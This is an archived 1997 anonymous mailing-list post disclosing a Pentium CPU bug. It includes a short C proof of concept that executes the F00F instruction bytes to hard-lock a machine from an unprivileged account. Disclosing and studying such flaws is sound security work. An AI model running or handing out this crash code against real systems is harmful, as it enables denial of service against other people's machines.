[443] in Best-of-Security
BoS: WARNING: Serious Pentium Bug
daemon@ATHENA.MIT.EDU (Anonymous)
Tue Nov 11 20:35:56 1997
Old-X-Envelope-From: nobody@REPLAY.COM Sat Nov 8 17:37:04 1997
Date: Sat, 8 Nov 1997 07:36:04 +0100 (MET)
From: nobody@REPLAY.COM (Anonymous)
Old-X-Originally-To: To: best-of-security@cyber.com.au
Old-X-Originated-From: From: nobody@REPLAY.COM (Anonymous)
Errors-To: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
There is a SERIOUS bug in all pentium CPUs. The following
code will crash any machine running on a pentium CPU, MMX or no
MMX, any speed, regardless of OS (crash as in instant seize, hard
reboot the only cure):
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}
This require no special permissions to run, it works fine with
average-joe-userspace permissions. I have verified this, it works.
Demand a new CPU from Intel.
